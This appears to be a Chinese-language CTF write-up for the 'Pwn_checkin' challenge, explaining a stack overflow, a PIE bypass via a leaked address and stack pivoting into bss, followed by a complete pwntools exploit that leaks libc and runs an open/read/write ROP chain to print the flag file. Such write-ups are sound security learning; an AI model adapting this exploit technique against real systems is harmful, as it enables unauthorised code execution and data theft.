Pwn_checkin
glibc 2.32 影响不大,没有涉及相关的防护措施,也给了 ld ,更好模拟远程换下加载方式:
1
| p = process(["./ld-2.32.so", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
|
开局给了 text 段的地址,PIE 等于没开。然后可以想 bss 段写入非常长字符串,这里写入的应该是 ropchain ,因为这段空间没有执行权限。接着就是有一个栈溢出,溢出长度刚好覆盖 rip ,结合前面往 bss 段写入内容,判断是栈迁移。
elf 中没有足够的函数和 gadget ,决定第一步先用 puts 泄露出 libc 基地址,然后写入第二次的 ropchain ,设想构造之前遇到过的栈迁移的结构:
1 2 3 4
| payload = 'a'*0x800 payload += p64(pop_rdi_ret)+p64(puts_got) payload += p64(puts_plt) payload += p64(text_base+0x13c6)
|
第二次 ropchain 用 main 函数中的 read 写入,提前布置 rbp 寄存器,利用 0x1403 的 leave;ret
再次迁移,但是会在 printf 处报错。
在师傅提醒下,在 read 时直接覆盖并接上原来的 ropchain :
将栈顶覆盖为 ret ,然后后面接着写上 ropchain :
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux','sp','-h']
p = process(["./ld-2.32.so", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"}) libc = ELF("./libc.so.6") elf = ELF("./pwn")
p.recvuntil("gift > ") main_addr = int(p.recv(14),16) log.info("main_addr:"+hex(main_addr)) text_base = main_addr - 0x1387 log.info("text_base:"+hex(text_base))
bss = text_base+0x4060
pop_rdi_ret = text_base+0x0000000000001473 pop_rsi_r15_ret = text_base+0x0000000000001471 leave_ret = text_base+0x0000000000001310 ret = text_base+0x1409 read_gadget = text_base+0x13c6
puts_plt = text_base+0x10d0 log.info("puts_plt:"+hex(puts_plt)) puts_got = text_base+0x3FB0 log.info("puts_got:"+hex(puts_got)) read_got = text_base+0x3fd0
payload = 'a'*0x800 payload += p64(pop_rdi_ret)+p64(puts_got) payload += p64(puts_plt) payload += p64(read_gadget)
gdb.attach(p,"b *$rebase(0x13E8)") raw_input()
p.sendafter("payload > ",payload)
p.sendafter("stack > ",'a'*32+p64(bss+0x800-8)+p64(leave_ret)) libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.sym['puts'] log.info(hex(libc_base))
pop_rdx_rbx_ret = libc_base + 0x114161 pop_rax_ret = libc_base + 0x0000000000045580 syscall = libc_base + 0x611ea
payload = './flag.txt'.ljust(0x820-8, '\x00') +p64(ret) payload += p64(pop_rdi_ret)+p64(bss) + p64(pop_rsi_r15_ret)+p64(0)*2 + p64(pop_rax_ret)+p64(2) + p64(syscall)
payload += p64(pop_rdi_ret)+p64(3) + p64(pop_rsi_r15_ret)+p64(bss)*2 + p64(pop_rdx_rbx_ret)+p64(0x50)*2 + p64(pop_rax_ret)+p64(0) + p64(syscall)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rax_ret)+p64(1) + p64(syscall) p.send(payload)
p.interactive()
|